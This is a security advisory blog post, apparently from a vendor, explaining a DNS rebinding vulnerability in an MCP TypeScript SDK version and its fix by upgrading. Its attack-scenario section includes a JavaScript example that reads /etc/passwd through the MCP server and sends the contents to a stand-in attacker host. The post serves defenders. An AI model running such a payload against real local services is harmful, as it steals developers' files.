How DNS Rebinding Happens in Node.js MCP TypeScript SDK and How to Fix It
Introduction
The package-lock.json of this project quietly pinned @modelcontextprotocol/sdk at version 0.5.0—a version that ships an HTTP-based MCP server with no DNS rebinding protection enabled by default. That single missing control means any browser tab open to a malicious website could pivot through the victim's own browser to interact with the locally-running MCP server, bypassing the Same-Origin Policy entirely.
This is CVE-2025-66414, rated HIGH severity, and it was automatically detected and patched by Orbis AppSec before it could be exploited.
The Vulnerability Explained
What Is DNS Rebinding?
DNS rebinding is a classic but persistently dangerous attack class. Here's the sequence:
- A user visits
evil.attacker.com. The attacker's DNS server responds with the attacker's real IP and a very short TTL (e.g., 1 second). - After the TTL expires, the attacker's DNS server re-resolves
evil.attacker.comto127.0.0.1(or another local address). - The browser's Same-Origin Policy checks the domain, not the IP. Since the domain hasn't changed, the browser happily allows JavaScript on
evil.attacker.comto makefetch()calls tohttp://evil.attacker.com:<port>. - Those requests now land on whatever is listening on
localhost:<port>—in this case, the MCP server.
The attacker's JavaScript can now read responses, issue tool-call requests, and interact with any capability the MCP server exposes—all without the user's knowledge.
The Vulnerable Code Pattern
Before the fix, package-lock.json locked the SDK to version 0.5.0:
// BEFORE — vulnerable
"node_modules/@modelcontextprotocol/sdk": {
"version": "0.5.0",
"resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-0.5.0.tgz",
"integrity": "sha512-RXgulUX6ewvxjAG0kOpLMEdXXWkzWgaoCGaA2CwNW7cQCIphjpJhjpHSiaPdVCnisjRF/0Cm9KWHUuIoeiAblQ==",
"license": "MIT",
"dependencies": {
"content-type": "^1.0.5",
"raw-body": "^3.0.0",
"zod": "^3.23.8"
}
}
Notice what's absent from the dependency list: there is no cors, no express-rate-limit, no jose, and no express. The SDK's HTTP transport layer in 0.5.0 accepted connections and processed requests without validating the Host header. Any request that arrived on the listening port was treated as legitimate, regardless of where the browser thought it came from.
The Real-World Attack Scenario
Imagine a developer running an MCP-powered coding assistant locally on port 3000. They open their browser to http://evil.attacker.com while the assistant is running. Here's what happens:
evil.attacker.comloads malicious JavaScript.- The attacker's DNS TTL expires and
evil.attacker.comis remapped to127.0.0.1. - The JavaScript issues:
javascript fetch("http://evil.attacker.com:3000/mcp", { method: "POST", body: JSON.stringify({ tool: "read_file", path: "/etc/passwd" }) }).then(r => r.text()).then(data => { // Exfiltrate data to attacker's real server fetch("https://collect.attacker.com/steal?d=" + btoa(data)); }); - The browser sends this request to
127.0.0.1:3000. The MCP server in version 0.5.0 processes it without question. - The attacker receives the file contents.
For an MCP server with access to file systems, databases, or external APIs, this is a critical data exfiltration path.
The Fix
What Changed
The fix upgrades @modelcontextprotocol/sdk from ^0.5.0 to ^1.24.0:
// AFTER — fixed
"node_modules/@modelcontextprotocol/sdk": {
"version": "1.24.0",
"resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.24.0.tgz",
"integrity": "sha512-D8h5KXY2vHFW8zTuxn2vuZGN0HGrQ5No6LkHwlEA9trVgNdPL3TF1dSqKA7Dny6BbBYKSW/rOBDXdC8KJAjUCg==",
"license": "MIT",
"dependencies": {
"ajv": "^8.17.1",
"ajv-formats": "^3.0.1",
"content-type": "^1.0.5",
"cors": "^2.8.5",
"cross-spawn": "^7.0.5",
"eventsource": "^3.0.2",
"eventsource-parser": "^3.0.0",
"express": "^5.0.1",
"express-rate-limit": "^7.5.0",
"jose": "^6.1.1",
"pkce-challenge": "^5.0.0",
"raw-body": "^3.0.0",
"zod": "^3.25 || ^4.0",
"zod-to-json-schema": "^3.25.0"
}
}
Why Each New Dependency Matters
The jump from 3 dependencies to 13 isn't bloat—each addition closes a specific attack surface:
| New Dependency | Security Role |
|---|---|
cors |
Enforces cross-origin request policies at the HTTP layer |
express-rate-limit |
Prevents brute-force and enumeration attacks against the MCP endpoint |
jose |
Handles JWT/JWK-based authentication for OAuth flows |
pkce-challenge |
Implements PKCE for secure OAuth 2.0 authorization code flows |
ajv + ajv-formats |
Validates incoming JSON payloads against strict schemas |
express |
Provides a mature HTTP server with well-tested middleware support |
Most critically, version 1.24.0 introduces DNS rebinding protection enabled by default. The SDK now validates the Host header on every incoming request and rejects connections whose host does not match the configured allowed origins. This directly neutralizes the DNS rebinding attack vector described above.
Before vs. After
- "@modelcontextprotocol/sdk": "^0.5.0",
+ "@modelcontextprotocol/sdk": "^1.24.0",
This two-character version bump in package.json translates to:
- Host header validation on by default
- CORS enforcement at the transport layer
- Rate limiting to prevent abuse
- Authenticated MCP sessions via JOSE/PKCE
- Schema validation on all incoming tool-call payloads
Prevention & Best Practices
1. Always Validate the Host Header on Local HTTP Servers
Any service that listens on localhost and processes HTTP requests should explicitly validate the Host header. In Express, this looks like:
app.use((req, res, next) => {
const allowedHosts = ['localhost', '127.0.0.1', '::1'];
const host = req.hostname;
if (!allowedHosts.includes(host)) {
return res.status(403).json({ error: 'Forbidden: invalid host' });
}
next();
});
2. Keep SDK Versions Current — Especially for Security-Sensitive Libraries
The MCP SDK is a network-facing component. A version difference of 0.5.0 → 1.24.0 represents over a year of security hardening. Treat major version gaps in network libraries as high-priority upgrade candidates.
3. Use Dependency Scanning in CI
Tools like Trivy, Snyk, and npm audit can flag known CVEs in package-lock.json before they reach production. This exact vulnerability was detected by Trivy's rule CVE-2025-66414.
# Run Trivy against your Node.js project
trivy fs --security-checks vuln .
# Or use npm audit
npm audit --audit-level=high
4. Don't Rely on CORS Alone for Local Services
CORS is a browser-enforced policy, not a server-enforced one. DNS rebinding bypasses CORS because the browser believes the request is same-origin. Host header validation is the correct server-side control.
5. Reference Standards
- OWASP: DNS Rebinding
- CWE-346: Origin Validation Error — failure to verify that a request comes from an expected origin
- OWASP API Security Top 10: API8:2023 — Security Misconfiguration (default-insecure configurations)
Key Takeaways
@modelcontextprotocol/sdk0.5.0 had noHostheader validation, making every locally-running MCP server a DNS rebinding target from any browser tab.- DNS rebinding bypasses CORS—the browser's Same-Origin Policy checks the domain, not the resolved IP, so CORS headers alone are insufficient protection for local services.
- The upgrade to 1.24.0 is not just a version bump—it adds 10 new dependencies (
cors,express,express-rate-limit,jose,pkce-challenge,ajv, etc.) that collectively harden the MCP transport layer. package-lock.jsonis a security artifact, not just a build reproducibility file. Pinned vulnerable versions in lockfiles are real vulnerabilities, not theoretical ones.- MCP servers often have elevated privileges (file access, API keys, tool execution)—a DNS rebinding attack against an MCP server is not just a curiosity; it can lead to full data exfiltration or remote code execution depending on the tools registered.
How Orbis AppSec Detected This
- Source: Any browser tab navigating to an attacker-controlled domain while the MCP server is running locally
- Sink: The HTTP request handler in
@modelcontextprotocol/sdk0.5.0's transport layer, which accepted all incoming connections withoutHostheader validation - Missing control: No
Hostheader allowlist, no CORS enforcement at the transport layer, no origin validation of any kind in the SDK's default configuration - CWE: CWE-346 — Origin Validation Error
- Fix: Upgraded
@modelcontextprotocol/sdkfrom^0.5.0to^1.24.0inpackage.jsonandpackage-lock.json, enabling DNS rebinding protection and addingcors,express-rate-limit, andjoseas enforced dependencies
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2025-66414 is a reminder that security defaults matter enormously in network-facing SDKs. The MCP TypeScript SDK's decision to ship version 0.5.0 without DNS rebinding protection enabled by default created a silent, high-severity vulnerability in every application that used it to host an MCP server. The fix—upgrading to 1.24.0—is straightforward, but only if you know the vulnerability exists.
Automated scanning with tools like Trivy, combined with automated remediation via Orbis AppSec, means vulnerabilities like this can be detected and patched before they ever reach a production environment. Keep your lockfiles up to date, validate Host headers on local HTTP services, and never assume that "localhost only" means "safe from the browser."